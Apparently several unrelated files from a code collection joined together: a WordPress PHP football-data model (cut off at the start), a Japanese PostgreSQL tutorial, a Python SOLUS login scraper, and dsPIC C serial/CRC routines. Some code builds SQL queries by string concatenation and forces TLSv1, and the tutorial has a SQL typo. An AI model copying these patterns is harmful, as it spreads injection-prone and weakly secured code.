NULL AUTO_INCREMENT, name varchar(255) NOT NULL, country varchar(255) NOT NULL, founded varchar(255) NOT NULL, leagues varchar(255) NOT NULL, venue_name varchar(255) DEFAULT NULL, venue_city varchar(255) DEFAULT NULL, coach_name varchar(255) DEFAULT NULL, coach_id mediumint(9) DEFAULT NULL, transfers_in text DEFAULT NULL, transfers_out text DEFAULT NULL, last_update int(11) DEFAULT NULL, image varchar(255) DEFAULT NULL, UNIQUE KEY id (id) ) $charset_collate;"; require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); dbDelta( $sql ); } /** * Insert and update a competition */ public function insertCompetition(){ global $wpdb; $table_name = $wpdb->prefix . 'competition'; $apiFoot = new \Model\apiFootModel\apiFootModel(); $competitions = $apiFoot->getAllCompetitions(); foreach($competitions as $oneCompetition){ $competition_id = $oneCompetition->id; $retour = $this->getCompetitionById($competition_id); if(!$retour){ $slug = str_replace(' ', '-', strtolower($oneCompetition->name)); $result = $wpdb->insert( $table_name, array( 'id' => $competition_id, 'name' => $oneCompetition->name, 'slug_name' => $slug, 'region' => $oneCompetition->region, 'status' => 0, 'last_update' => time(), ) ); }else{ $slug = str_replace(' ', '-', strtolower($oneCompetition->name)); $result = $wpdb->update( $table_name, array( 'name' => $oneCompetition->name, 'slug_name' => $slug, 'region' => $oneCompetition->region, 'status' => 0, 'last_update' => time(), ), array( 'id' => $retour->id ) ); } } if(is_numeric($result)){ return true; } return false; } /** * Insert a Default Apikey witch is a test apikey from football-api.com documentation * Insert Token use to refresh the page vie a button */ private function insertDefault(){ global $wpdb; $table_name = $wpdb->prefix . 'option_api_foot'; /** * insert api key default */ $wpdb->insert( $table_name, array( 'meta_name' => 'api_key_default', 'meta_value' => $this->defaultapiKey, 'last_update' => time(), ) ); /** * insert token */ $wpdb->insert( $table_name, array( 'meta_name' => 'token', 'meta_value' => bin2hex(random_bytes(43)), 'last_update' => time(), ) ); } /** * update match of all selected competition * @return bool */ public function insertUpdateMatch(){ global $wpdb; $table_name = $wpdb->prefix . 'match'; $competitions = $this->getAllCompetitionsFromDB(false, 1); $apiFoot = new \Model\apiFootModel\apiFootModel(); if($competitions != false){ foreach($competitions as $oneCompetition){ $competition_id = $oneCompetition->id; $matchs = $apiFoot->getMatch($competition_id, null, null, $oneCompetition->date_from, $oneCompetition->date_to); // echo '<pre>'; // var_dump($matchs); // echo '</pre>'; // die(); foreach($matchs as $oneMatch){ $matchVerif = $this->getMatchById($oneMatch->comp_id, $oneMatch->id); if(!$matchVerif){ $result = $wpdb->insert( $table_name, array( 'id' => $oneMatch->id, 'comp_id' => $oneMatch->comp_id, 'formatted_date' => strtotime(str_replace('.','-',$oneMatch->formatted_date)), 'season' => $oneMatch->season, 'week' => $oneMatch->week, 'venue' => $oneMatch->venue, 'time' => $oneMatch->time, 'localteam_id' => $oneMatch->localteam_id, 'visitorteam_id' => $oneMatch->visitorteam_id, 'localteam_name' => $oneMatch->localteam_name, 'visitorteam_name' => $oneMatch->visitorteam_name, 'localteam_score' => $oneMatch->localteam_score, 'visitorteam_score' => $oneMatch->visitorteam_score, 'ht_score' => $oneMatch->ht_score, 'ft_score' => $oneMatch->ft_score, 'et_score' => $oneMatch->et_score, 'penalty_local' => $oneMatch->penalty_local, 'penalty_visitor' => $oneMatch->penalty_visitor, 'events' => json_encode($oneMatch->events), 'last_update' => time(), ) ); }else{ $wpdb->update( $table_name, array( 'comp_id' => $oneMatch->comp_id, 'formatted_date' => strtotime(str_replace('.','-',$oneMatch->formatted_date)), 'season' => $oneMatch->season, 'week' => $oneMatch->week, 'venue' => $oneMatch->venue, 'time' => $oneMatch->time, 'localteam_id' => $oneMatch->localteam_id, 'visitorteam_id' => $oneMatch->visitorteam_id, 'localteam_name' => $oneMatch->localteam_name, 'visitorteam_name' => $oneMatch->visitorteam_name, 'localteam_score' => $oneMatch->localteam_score, 'visitorteam_score' => $oneMatch->visitorteam_score, 'ht_score' => $oneMatch->ht_score, 'ft_score' => $oneMatch->ft_score, 'et_score' => $oneMatch->et_score, 'penalty_local' => $oneMatch->penalty_local, 'penalty_visitor' => $oneMatch->penalty_visitor, 'events' => json_encode($oneMatch->events), 'last_update' => time(), ), array( 'id' => $matchVerif->id ) ); } } } return true; } return false; } /** * Insert and update a standing */ public function insertUpdateStanding(){ global $wpdb; $table_name = $wpdb->prefix . 'standing'; $competitions = $this->getAllCompetitionsFromDB(false, 1); if($competitions != false){ $apiFoot = new \Model\apiFootModel\apiFootModel(); foreach($competitions as $oneCompetition){ $competition_id = $oneCompetition->id; $standing = $apiFoot->getStandingCompetition($competition_id); foreach($standing as $team){ $teamVerif = $this->getTeamStanding($team->comp_id, $team->team_id); if(!$teamVerif){ $wpdb->insert( $table_name, array( 'id_competition' => $team->comp_id, 'id_stage' => $team->stage_id, 'id_team' => $team->team_id, 'team_name' => $team->team_name, 'comp_group' => $team->comp_group, 'position' => $team->position, 'status' => $team->status, 'point' => $team->points, 'overall_w' => $team->overall_w, 'overall_d' => $team->overall_d, 'overall_l' => $team->overall_l, 'gd' => $team->gd, 'season' => $team->season, 'last_update' => time(), ) ); }else{ $wpdb->update( $table_name, array( 'id_stage' => $team->stage_id, 'team_name' => $team->team_name, 'comp_group' => $team->comp_group, 'position' => $team->position, 'status' => $team->status, 'point' => $team->points, 'overall_w' => $team->overall_w, 'overall_d' => $team->overall_d, 'overall_l' => $team->overall_l, 'gd' => $team->gd, 'season' => $team->season, 'last_update' => time(), ), array( 'id' => $teamVerif->id ) ); } } } return true; } return false; } /** * Insert and update a team in function of the standing because standing are taken in relation of status one competition and we don't want the team out of a choosen competition */ public function insertUpdateTeams(){ global $wpdb; $table_name = $wpdb->prefix . 'team'; $allStanding = $this->getStandingFromDb(); $apiFoot = new \Model\apiFootModel\apiFootModel(); if($allStanding != false){ foreach($allStanding as $standing){ $id_team = $standing->id_team; $teamVerif = $this->getTeamById($id_team); $team = $apiFoot->getTeam($id_team); if(!$teamVerif){ $wpdb->insert( $table_name, array( 'id' => $team->team_id, 'name' => $team->name, 'country' => $team->country, 'founded' => $team->founded, 'leagues' => $team->leagues, 'venue_name' => $team->venue_name, 'venue_city' => $team->venue_city, 'coach_name' => $team->coach_name, 'coach_id' => $team->coach_id, 'transfers_in' =>json_encode($team->transfers_in), 'transfers_out' => json_encode($team->transfers_out), 'last_update' => time(), ) ); }else{ $wpdb->update( $table_name, array( /** * we are modify by hand so we are not updating theme * 'name' => $team->name, */ 'country' => $team->country, 'founded' => $team->founded, 'leagues' => $team->leagues, 'venue_name' => $team->venue_name, 'venue_city' => $team->venue_city, 'coach_name' => $team->coach_name, 'coach_id' => $team->coach_id, 'transfers_in' =>json_encode($team->transfers_in), 'transfers_out' => json_encode($team->transfers_out), 'last_update' => time(), // integer ), array( 'id' => $teamVerif->id ) ); } } return true; } return false; } /** * get all competition from data base * @param bool $i (set to block the infinit loop) * @return mixed|bool */ public function getAllCompetitionsFromDB($i = false, $status = null){ global $wpdb; $table_name = $wpdb->prefix . 'competition'; if(is_numeric($status)){ $competition = $wpdb->get_results('SELECT * FROM '. $table_name . ' WHERE status = ' . $status . ' ORDER BY classement'); }else{ $competition = $wpdb->get_results('SELECT * FROM '. $table_name); } if($competition != null){ return $competition; }else{ if(!$i){ /** * if there is not competiton we create data base, insert from api et do again this function */ $this->createCompetitionTable(); $this->insertCompetition(); $this->getAllCompetitionsFromDB(true, $status); } } return false; } /** * get all match from a competition * @param $comp_id * @return bool|array */ public function getAllMatchFormCompIdAndDay($comp_id, $week = null){ if(is_numeric($comp_id)){ global $wpdb; $table_name = $wpdb->prefix . 'match'; $join_name = $wpdb->prefix . 'team'; $season = $this->getSeasonFromCompId($comp_id); if($week === null){ $week = $this->getCurrentWeek($comp_id); if($week === false){ return false; } } if(is_numeric($week)){ $matchs = $wpdb->get_results('SELECT m.id, m.week, m.time, m.formatted_date, m.season, m.localteam_score, m.visitorteam_score, m.et_score, m.penalty_local, m.penalty_visitor, t1.name as localteam_name, t1.image as localteam_image, t2.name as visitorteam_name, t2.image as visitorteam_image FROM '. $table_name . ' AS m JOIN '.$join_name.' as t1 ON m.localteam_id = t1.id JOIN '.$join_name.' as t2 ON m.visitorteam_id = t2.id WHERE m.comp_id = ' . $comp_id . ' AND m.season = "'. $season .'" AND m.week = '.$week.' ORDER BY m.formatted_date'); // var_dump('SELECT m.id, m.week, m.time, m.formatted_date, m.season, m.localteam_score, m.visitorteam_score, m.et_score, m.penalty_local, m.penalty_visitor, t1.name as localteam_name, t1.image as localteam_image, t2.name as visitorteam_name, t2.image as visitorteam_image FROM '. $table_name . ' AS m CROSS JOIN '.$join_name.' as t1 ON m.localteam_id = t1.id CROSS JOIN '.$join_name.' as t2 ON m.visitorteam_id = t2.id WHERE m.comp_id = ' . $comp_id . ' AND m.season = "'. $season .'" AND m.week = '.$week.' ORDER BY m.formatted_date'); if($matchs != null) { return $matchs; } } return false; } } /** * get all teams * @return bool|array */ public function getAllTeam(){ global $wpdb; $table_name = $wpdb->prefix . 'team'; $teams = $wpdb->get_results('SELECT * FROM '. $table_name . ' ORDER BY '.$table_name.'.name'); if($teams != null) { return $teams; } return false; } /** * get the key of the api * @return bool|array */ public function getApiKey(){ global $wpdb; $table_name = $wpdb->prefix . 'option_api_foot'; $apiKey = $wpdb->get_row('SELECT * FROM '. $table_name . ' WHERE meta_name = "api_key"'); if($apiKey != null){ return $apiKey; } return false; } /** * get competition by is id * @param $id * @return bool */ public function getCompetitionById($id){ if(is_numeric($id)){ global $wpdb; $table_name = $wpdb->prefix . 'competition'; $competition = $wpdb->get_row('SELECT * FROM '. $table_name . ' WHERE id =' . $id); if($competition != null){ return $competition; } } return false; } /** * get current week for the matchs * @param $compId * @param null $season * @return bool */ public function getCurrentWeek($compId, $season = null){ global $wpdb; $table_name = $wpdb->prefix . 'match'; if($season == null){ $season = $this->getSeasonFromCompId($compId); } $curentTimeStamp = time(); $week = $wpdb->get_results('SELECT * FROM '.$table_name.' AS m WHERE m.comp_id = '.$compId.' AND m.season = "'.$season.'" AND m.formatted_date >= '.$curentTimeStamp.' GROUP BY m.week ORDER BY m.week'); if($week != null){ return $week[0]->week; } return false; } /** * get weeks of a competition * @param $compId * @param null $season * @return bool */ public function getWeeksOfComp($compId, $season = null){ global $wpdb; $table_name = $wpdb->prefix . 'match'; if($season == null){ $season = $this->getSeasonFromCompId($compId); } $week = $wpdb->get_results('SELECT * FROM '.$table_name.' AS m WHERE m.comp_id = '.$compId.' AND m.season = "'.$season.'" GROUP BY m.week ORDER BY m.week'); if($week != null){ return $week; } return false; } /** * get the key of the api * @return bool */ public function getDefaultApiKey(){ global $wpdb; $table_name = $wpdb->prefix . 'option_api_foot'; $defaultApiKey = $wpdb->get_row('SELECT * FROM '. $table_name . ' WHERE meta_name = "api_key_default"'); if($defaultApiKey != null){ return $defaultApiKey; } return false; } /** * get all season available from the standing table * @return bool */ public function getSeason(){ global $wpdb; $table_name = $wpdb->prefix . 'standing'; $season = $wpdb->get_results('SELECT season FROM '. $table_name .' GROUP BY season'); if($season != null){ return $season; } return false; } /** * get all season available from the standing table * @return bool */ private function getSeasonFromCompId($compId){ if(is_numeric($compId)) { global $wpdb; $table_name = $wpdb->prefix . 'competition'; $season = $wpdb->get_row('SELECT season FROM ' . $table_name . ' WHERE id = ' . $compId); if ($season != null) { return $season->season; } return false; } } /** * get all standing from comp id * @return bool */ public function getStandingFromCompId($compId){ if(is_numeric($compId)){ global $wpdb; $table_name = $wpdb->prefix . 'standing'; $inner_name = $wpdb->prefix . 'team'; /** * get only form the season selected in the back Office */ $season = $this->getSeasonFromCompId($compId); $standing = $wpdb->get_results('SELECT position, status, '.$inner_name.'.image, '.$inner_name.'.name, point, round, overall_w, overall_d, overall_l, gd, comp_group FROM '. $table_name . ' INNER JOIN '.$inner_name.' ON '.$table_name.'.id_team = '.$inner_name.'.id WHERE id_competition = '.$compId . ' AND season = "'. $season .'" ORDER BY comp_group, '.$table_name.'.position'); if($standing != null){ return $standing; } return false; } return false; } /** * get all standing from the data base * @return bool */ public function getStandingFromDb(){ global $wpdb; $table_name = $wpdb->prefix . 'standing'; $standing = $wpdb->get_results('SELECT * FROM '. $table_name); if($standing != null){ return $standing; } return false; } /** * get the team position in a competition, mostly use to update the standing * @param $competition_id * @param $team_id * @return bool */ private function getTeamStanding($competition_id, $team_id){ if(is_numeric($team_id) && is_numeric($competition_id)){ global $wpdb; $table_name = $wpdb->prefix . 'standing'; $standing = $wpdb->get_row('SELECT * FROM '. $table_name . ' WHERE id_competition =' . $competition_id .' AND id_team = ' . $team_id); if($standing != null){ return $standing; } } return false; } /** * get the match, mostly use to update the match table * @param $competition_id * @param $team_id * @return bool */ private function getMatchById($competition_id, $match_id){ if(is_numeric($match_id) && is_numeric($competition_id)){ global $wpdb; $table_name = $wpdb->prefix . 'match'; $matchs = $wpdb->get_row('SELECT * FROM '. $table_name . ' WHERE comp_id =' . $competition_id .' AND id = ' . $match_id); if($matchs != null){ return $matchs; } } return false; } /** * get the team * @param $competition_id * @param $team_id * @return bool */ public function getTeamById($team_id){ if(is_numeric($team_id)){ global $wpdb; $table_name = $wpdb->prefix . 'team'; $team = $wpdb->get_row('SELECT * FROM '. $table_name . ' WHERE id = '. $team_id); if($team != null){ return $team; } } return false; } public function getToken(){ global $wpdb; $table_name = $wpdb->prefix . 'option_api_foot'; $token = $wpdb->get_row('SELECT * FROM '. $table_name . ' WHERE meta_name = "token"'); if($token != null){ return $token; } } /** * Remove old entries, older than a years */ public function removeOldEntries(){ $deletTime = time() - (3600*24*365*2); /** * remove match */ global $wpdb; $table_name = $wpdb->prefix . 'match'; $sql = $wpdb->prepare('DELETE FROM '.$table_name.' WHERE formatted_date < %s', $deletTime); $result = $wpdb->query($sql); if(false === $result){ return false; } /** * remove standing (classement) */ $table_name = $wpdb->prefix . 'standing'; $currentYear = intval(date("Y")); $seasonToRemove = ($currentYear - 2).'/'.($currentYear - 1); $sql = $wpdb->prepare('DELETE FROM '.$table_name.' WHERE season = %s', $seasonToRemove); $result = $wpdb->query($sql); if(false === $result){ return false; } /** * remove team */ $table_name = $wpdb->prefix . 'team'; $sql = $wpdb->prepare('DELETE FROM '.$table_name.' WHERE last_update < %s', $deletTime); $result = $wpdb->query($sql); if(false === $result){ return false; } return true; } /** * reset the status value at zero of all competition, use to refresh the status */ public function resetCompetitionToZero(){ global $wpdb; $table_name = $wpdb->prefix . 'competition'; $competition = $wpdb->get_results('SELECT * FROM '. $table_name); foreach($competition as $oneCompetition){ $wpdb->update( $table_name, array( 'date_from' => NULL, 'date_to' => NULL, 'status' => 0, 'season' => NULL, 'last_update' => time(), ), array( 'id' => $oneCompetition->id ) ); } } /** * Update the apiKey * @param $id * @param $status */ public function updateApiKey($apiKey){ global $wpdb; $table_name = $wpdb->prefix . 'option_api_foot'; /** * get the apikey from the database */ $apiKeyBd = $this->getApiKey(); $apiKey = htmlentities($apiKey); /** * if no api key insert else update */ if(!$apiKeyBd){ $wpdb->insert( $table_name, array( 'meta_name' => 'api_key', 'meta_value' => $apiKey, // integer 'last_update' => time(), ) ); }else{ $wpdb->update( $table_name, array( 'meta_value' => $apiKey, 'last_update' => time(), ), array( 'id' => $apiKeyBd->id ) ); } } /** * Update the status of a competition * @param $id * @param $status */ public function updateCompetitionStatus($id, $status, $dateFrom, $dateTo, $classement, $season){ if(is_numeric($id) && is_numeric($status) && $dateFrom != null && $dateTo != null && is_numeric($classement)){ $dateFrom = htmlentities($dateFrom); $dateTo = htmlentities($dateTo); global $wpdb; $table_name = $wpdb->prefix . 'competition'; $id_return = $wpdb->update( $table_name, array( 'status' => $status, 'date_from' => $dateFrom, 'date_to' => $dateTo, 'classement' => $classement, 'season' => $season, 'last_update' => time(), ), array( 'id' => $id ) ); if(is_numeric($id_return)){ return true; } return false; } return false; } /** * update team form the back office * @param $data */ public function updateTeam($data){ $id = $data['teamId']; $name = htmlentities($data['name']); if(isset($data['image'])){ $image = htmlentities($data['image']); } global $wpdb; $table_name = $wpdb->prefix . 'team'; if(is_numeric($id) && $name != null && isset($image) && $image != null){ $id_return = $wpdb->update( $table_name, array( 'name' => $name, 'image' => $image, 'last_update' => time(), ), array( 'id' => $id ) ); if(is_numeric($id_return)){ echo true; } echo false; }elseif(is_numeric($id) && $name != null){ $id_return = $wpdb->update( $table_name, array( 'name' => $name, 'last_update' => time(), ), array( 'id' => $id ) ); if(is_numeric($id_return)){ echo true; } echo false; } echo false; } }
Markdown
UTF-8
4,157
3.28125
3
[]
no_license
# リレーショナルデータベース(RDB) ## 初歩的なSQL 実際にSQLを書いて実行してみましょう。まずはデータベースを作成します。 ```sh $ createdb demo_20200309 ``` 次に`psql`コマンドでデータベースに接続してみましょう。対話型コンソール上ではSQLを入力することができるので、`create table`構文で実際にテーブルを作成します。 ```sh demo_20200309# create table users ( id serial primary key, name varchar(255), email varchar(255) ); ``` テーブルが作成できたかどうかは`\d`と入力すると確認することができます。 ``` demo_20200309=# \d List of relations Schema | Name | Type | Owner --------+--------------+----------+--------------- public | users | table | yuki-akamatsu public | users_id_seq | sequence | yuki-akamatsu (2 rows) ``` 次に作成したテーブルに実際にデータを入れてみましょう。データを入れるには`insert`文を使用します。 ``` demo_20200309# insert into users (name, email) values ('赤松 祐希', 'yuki-akamatsu@cookpad.com'); INSERT 0 1 ``` `insert`文で挿入したレコードは`select`文で取得することができます。以下のクエリは`users`テーブルからすべてのレコードを取得します。 ``` demo_20200309# select * from users; id | name | email ----+-----------+--------------------------- 1 | 赤松 祐希 | yuki-akamatsu@cookpad.com (1 row) ``` `select`文には様々なオプションがあり、オプションに応じて取得するレコードを変えることができたり、合計値を計算するなど集計を行なうことができます。おそらく最もよく使われるのが`where`でしょう。 ``` demo_20200309# insert into users (name, email) values ('taro', 'taro@example.com'); demo_20200309# insert into users (name, email) values ('hanako', 'hanako@example.com'); demo_20200309# select * from users where name = 'hanako'; id | name | email ----+--------+-------------------- 3 | hanako | hanako@example.com (1 row) ``` ## テーブルの結合 RDBでは複数のテーブルを使ってさまざまなデータを保存します。そのためあるデータを抽出したい時にひとつのテーブルだけで完結しないことが多々あります。テーブルごとにSQLを発行して結果を合わせるということも可能ですが、大抵の場合パフォーマンスに問題がでます。RDBでは`join`を使用することで複数のテーブルを1つのテーブルのように扱うことが可能です。 まずは結合するためのテーブルを用意します。今回はユーザーが持つTodoを保存できる`todos`テーブルを用意します。 `todos`テーブルにあるレコードがどのユーザーのものかは`user_id`カラムで判別します。`users`テーブルの`id`カラムと`user_id`が一致しているようであれば、そのユーザーのTodoと判断することができます。 ``` demo_20200309# create table todos ( id sequence primary key, user_id bigint, name varchar(255) ); ``` 次にレコードを挿入しましょう。今回はid=1のユーザに2件、id=2のユーザに1件のTodoを登録します。 ``` demo_20200309# insert into todos (user_id, name) values (1, 'コードレビュー'); demo_20200309# insert into todos (user_id, name) values (1, '講義'); demo_20200309# insert into todos (user_id, name) values (2, '買物'); ``` Todoだけを取得するのであれば`select * from todos;`だけで十分ですが、一緒にそのTodoを持つユーザーの名前を表示したい場合は`join`を使う必要があります。 ``` demo_20200309# select * from todos join users on users.id = todos.user_id; id | user_id | name | id | name | email ----+---------+----------------+----+-----------+--------------------------- 1 | 1 | コードレビュー | 1 | 赤松 祐希 | yuki-akamatsu@cookpad.com 2 | 1 | 講義 | 1 | 赤松 祐希 | yuki-akamatsu@cookpad.com 3 | 2 | 買物 | 2 | taro | taro@example.com (3 rows) ```
Python
UTF-8
11,086
2.515625
3
[]
no_license
import logging import ssl import bs4 import requests from requests.adapters import HTTPAdapter from requests.packages.urllib3.poolmanager import PoolManager from parser import SolusParser class SSLAdapter(HTTPAdapter): '''An HTTPS Transport Adapter that uses an arbitrary SSL version. http://lukasa.co.uk/2013/01/Choosing_SSL_Version_In_Requests/ ''' def __init__(self, ssl_version=None, **kwargs): self.ssl_version = ssl_version super(SSLAdapter, self).__init__(**kwargs) def init_poolmanager(self, connections, maxsize, block=False): self.poolmanager = PoolManager(num_pools=connections, maxsize=maxsize, block=block, ssl_version=self.ssl_version) class SolusSession(object): """Represents a solus browsing session""" login_url = "https://my.queensu.ca" continue_url = "SAML2/Redirect/SSO" course_catalog_url = "https://saself.ps.queensu.ca/psc/saself/EMPLOYEE/HRMS/c/SA_LEARNER_SERVICES.SSS_BROWSE_CATLG_P.GBL" def __init__(self, user=None, password=None): self.session = requests.session() # Use SSL version 1 self.session.mount('https://', SSLAdapter(ssl_version=ssl.PROTOCOL_TLSv1)) # Parser self._parser = SolusParser() self._update_parser = False # Response data self.latest_response = None self.latest_text = None # Recover from errors self.recovery_state = -1 #State of recovery ( < 0 is not recovering, otherwise the current recovery level) self.recovery_stack = [None, None, None, None, None] #letter, subj subject, course, term, section # Authenticate and navigate to course catalog logging.info("Logging in...") self.login(user, password) logging.info("Navigating to course catalog...") self.go_to_course_catalog() # Should now be on the course catalog page. If not, something went wrong if self.latest_response.url != self.course_catalog_url: # SOLUS Doesn't like requests v2.1.0 (getting error 999, unsupported OS) # Seems to be a quirk of it. The headers don't matter (even user-agent) # Sticking with v2.0.1 until the issue is resolved raise EnvironmentError("Authenticated, but couldn't access the SOLUS course catalog.") @property def parser(self): """Updates the parser with new HTML (if needed) and returns it""" if self._update_parser: self._parser.update_html(self.latest_text) self._update_parser = False return self._parser def login(self, user, password): """Logs into the site""" # Load the access page to set all the cookies and get redirected self._get(self.login_url) # Login procedure is different when JS is disabled payload = { 'j_username': user, 'j_password': password, 'IDButton': '%C2%A0Log+In%C2%A0', } self._post(self.latest_response.url, data=payload) # Check for the continue page if self.continue_url in self.latest_response.url: self.do_continue_page() # Should now be authenticated and on the my.queensu.ca page, submit a request for the URL in the 'SOLUS' button link = self.parser.login_solus_link() if not link: # Not on the right page raise EnvironmentError("Could not authenticate with the Queen's SSO system. The login credentials provided may have been incorrect.") logging.info("Sucessfully authenticated.") # Have to actually use this link to access SOLUS initially otherwise it asks for login again self._get(link) # The request could (seems 50/50 from browser tests) bring up another continue page if self.continue_url in self.latest_response.url: self.do_continue_page() # Should now be logged in and on the student center page def do_continue_page(self): """ The SSO system returns a specific page only if JS is disabled It has you click a Continue button which submits a form with some hidden values """ data = self.parser.login_continue_page() if not data: return self._post(data["url"], data=data["payload"]) def go_to_course_catalog(self): self._catalog_post("") self.select_alphanum("A") # ----------------------------- Alphanums ------------------------------------ # def select_alphanum(self, alphanum): """Navigates to a letter/number""" if self.recovery_state < 0: self.recovery_stack[0] = alphanum self._catalog_post('DERIVED_SSS_BCC_SSR_ALPHANUM_{0}'.format(alphanum.upper())) # ----------------------------- Subjects ------------------------------------- # def dropdown_subject(self, subject_index): """Opens the dropdown menu for a subject""" if self.recovery_state < 0: self.recovery_stack[1] = subject_index action = self.parser.subject_id_at_index(subject_index) if not action: raise Exception("Tried to drop down an invalid subject index") self._catalog_post(action) def rollup_subject(self, subject_index): """Closes the dropdown menu for a subject""" if self.recovery_state < 0: self.recovery_stack[1] = None action = self.parser.subject_id_at_index(subject_index) if not action: raise Exception("Tried to roll up an invalid subject index") self._catalog_post(action) # ----------------------------- Courses ------------------------------------- # def open_course(self, course_index): """Opens a course page by following the course link with the supplied index""" if self.recovery_state < 0: self.recovery_stack[2] = course_index action = self.parser.course_id_at_index(course_index) if not action: raise Exception("Tried to open a course with an invalid index") self._catalog_post(action) def return_from_course(self): """Navigates back from course to subject""" self.recovery_stack[3] = None self.recovery_stack[2] = None self._catalog_post('DERIVED_SAA_CRS_RETURN_PB') # -----------------------------Sections ------------------------------------- # def show_sections(self): """ Clicks on the 'View class sections' button on the course page if it exists """ if self.parser._validate_id('DERIVED_SAA_CRS_SSR_PB_GO'): self._catalog_post('DERIVED_SAA_CRS_SSR_PB_GO') def switch_to_term(self, solus_id): """Shows the sections for the term with the specified solus_id""" if self.recovery_state < 0: self.recovery_stack[3] = solus_id self._catalog_post(action='DERIVED_SAA_CRS_SSR_PB_GO$98$', extras={'DERIVED_SAA_CRS_TERM_ALT': solus_id}) def view_all_sections(self): """Presses the "view all sections" link on the course page if needed""" if self.parser._validate_id('CLASS_TBL_VW5$fviewall$0'): self._catalog_post('CLASS_TBL_VW5$fviewall$0') def visit_section_page(self, section_index): """ Opens the dedicated page for the provided section. Used for deep scrapes """ if self.recovery_state < 0: self.recovery_stack[4] = section_index action = self.parser.section_id_at_index(section_index) if not action: raise Exception("Tried to open a section with an invalid index") self._catalog_post(action) def return_from_section(self): """ Navigates back from section to course. Used for deep scrapes """ self.recovery_stack[4] = None self._catalog_post('CLASS_SRCH_WRK2_SSR_PB_CLOSE') # -----------------------------General Purpose------------------------------------- # def _get(self, url, **kwargs): self.latest_response = self.session.get(url, **kwargs) self._update_attrs() def _post(self, url, **kwargs): self.latest_response = self.session.post(url, **kwargs) self._update_attrs() def _update_attrs(self): self.latest_text = self.latest_response.text # The parser requires an update self._update_parser = True def _catalog_post(self, action, extras={}): """Submits a post request to the site""" extras['ICAction'] = action self._post(self.course_catalog_url, data=extras) #import random # TODO: Improve this, could easily give false positives if "Data Integrity Error" in self.latest_text: self._recover(action, extras) # TESTING - Fake a DIE using random number generator #elif action != "" and random.random() < 0.1: # self._catalog_post("") # self._recover(action, extras) def _recover(self, action, extras={}): """Attempts to recover the scraper state after encountering an error""" # Don't recurse, retry if self.recovery_state >= 0: logging.warning("Error while recovering, retrying") self.recovery_state = 0 return # Number of non-null elements in the recovery stack num_states = len(filter(None, self.recovery_stack)) # Start recovery process logging.warning("Encounted SOLUS Data Integrety Error, attempting to recover") self.recovery_state = 0 while self.recovery_state < num_states: # Has to be done before the recovery operations self.recovery_state += 1 # State numbers are OBO due to previous increment if self.recovery_state == 1: logging.info("--Selecting letter {0}".format(self.recovery_stack[0])) self.select_alphanum(self.recovery_stack[0]) elif self.recovery_state == 2: logging.info("----Selecting subject {0}".format(self.recovery_stack[1])) self.dropdown_subject(self.recovery_stack[1]) elif self.recovery_state == 3: logging.info("------Selecting course number {0}".format(self.recovery_stack[2])) self.open_course(self.recovery_stack[2]) self.show_sections() elif self.recovery_state == 4: logging.info("--------Selecting term {0}".format(self.recovery_stack[3])) self.switch_to_term(self.recovery_stack[3]) elif self.recovery_state == 5: logging.info("----------Selecting section {0}".format(self.recovery_stack[4])) self.visit_section_page(self.recovery_stack[4]) # Finished recovering self.recovery_state = -1 logging.info("Recovered, retrying original request") self._catalog_post(action, extras)
C
UTF-8
4,042
2.984375
3
[ "BSD-3-Clause" ]
permissive
#include "p33Fxxxx.h" #include "serial.h" #include "timers.h" #define READTIMEOUT 1000 //UART1 functions //read one byte from rx register, timeout after ~1second //returns -1 if timeout int readByte1(unsigned char *byte) { //start timer timer(READTIMEOUT); while(getTimer() < READTIMEOUT){ //get the data from register, if there if(U1STAbits.URXDA == 1){ *byte = U1RXREG; return 1; } } //return -1 on timeout return -1; } //send byte, wait if buffer full //returns -1 if buffer fails to clear int writeByte1(const unsigned char byte) { unsigned int i = 0; //tx buffer full? then wait up to 25000 cycles while( U1STAbits.UTXBF == 1 ){ Nop(); i++; if(i == 25000) return -1; } //write to register U1TXREG = byte; return 1; } //receive bytes into a buffer //returns number of bytes actually received int readSerial1(unsigned char *buffer, const int count) { int i; for(i = 0; i < count; i++){ if( readByte1(buffer++) == -1 ) break; } return i; } //send bytes from a buffer //returns number of byte actually written int writeSerial1(const unsigned char *buffer, const int count){ int i; for(i = 0; i < count; i++){ if( writeByte1(buffer[i]) == -1 ) break; } return i; } void breakSerial1() { U1STAbits.UTXBRK = 1; writeByte1('U'); } /*#########################################*/ //UART2 functions //read one byte from rx register, timeout after ~1second int readByte2(unsigned char *byte) { timer(READTIMEOUT); while(getTimer() < READTIMEOUT){ //get the data from register, if there if(U2STAbits.URXDA == 1){ *byte = U2RXREG; return 1; } } //return -1 on timeout return -1; } //send byte, wait if buffer full int writeByte2(const unsigned char byte) { unsigned int i = 0; //tx buffer full? then wait up to 25000 cycles while( U2STAbits.UTXBF == 1 ){ Nop(); i++; if(i == 25000) return -1; } //write to register U2TXREG = byte; return 1; } //receive bytes into a buffer int readSerial2(unsigned char *buffer, const int count) { int i; for(i = 0; i < count; i++){ if( readByte2(buffer++) == -1 ) break; } return i; } //send bytes from a buffer int writeSerial2(const unsigned char *buffer, const int count){ int i; for(i = 0; i < count; i++){ if( writeByte2(buffer[i]) == -1 ) break; } return i; } void breakSerial2() { U2STAbits.UTXBRK = 1; writeByte2('U'); } /*#########################################*/ //Crc functions //calculates crc for an array of a given length (count). //requires address of integer variable to return crc value into //crc integer variable should be set to 0 prior to //calling unless continuing a previous sequence void crcCalc(const unsigned char *data, int count, int *crc) { unsigned char is_odd = 0; int i, cr; unsigned char *p; p = (unsigned char *)&CRCDAT; CRCWDAT = *crc; // Init. value if ((count % 2) != 0){ is_odd = 1; count--; // Make the byte count an even number } while(count > 0){ *p = *data++; //load data by 8 bit pointer count--; if(CRCCONbits.CRCFUL == 1){ CRCCONbits.CRCGO = 1; //start engine } } if(CRCCONbits.CRCGO != 1) CRCCONbits.CRCGO = 1; //start engine if(is_odd){ *p = *data; *p = 0; //pad to fill in other 8 bits in register } else{ CRCDAT=0x0000; //flush with 0 if bytes used is even } while(CRCCONbits.CRCMPT != 1) //wait until buffer empty Nop(); CRCCONbits.CRCGO = 0; //stop engine Nop();Nop();Nop(); Nop();Nop();Nop(); if(is_odd){ //manually shift last byte if odd number of bytes used for (i = 0; i < 8; i ++){ cr = CRCWDAT & 0x8000; CRCWDAT <<= 1; if (cr != 0) CRCWDAT ^= 0x1021; } } //reverse order *crc = CRCWDAT; cr = *crc; cr = cr >> 8; cr = cr & 0x00FF; *crc = *crc << 8; *crc = (*crc | cr); }
PHP
UTF-8
3,236
2.640625
3
[ "MIT" ]
permissive
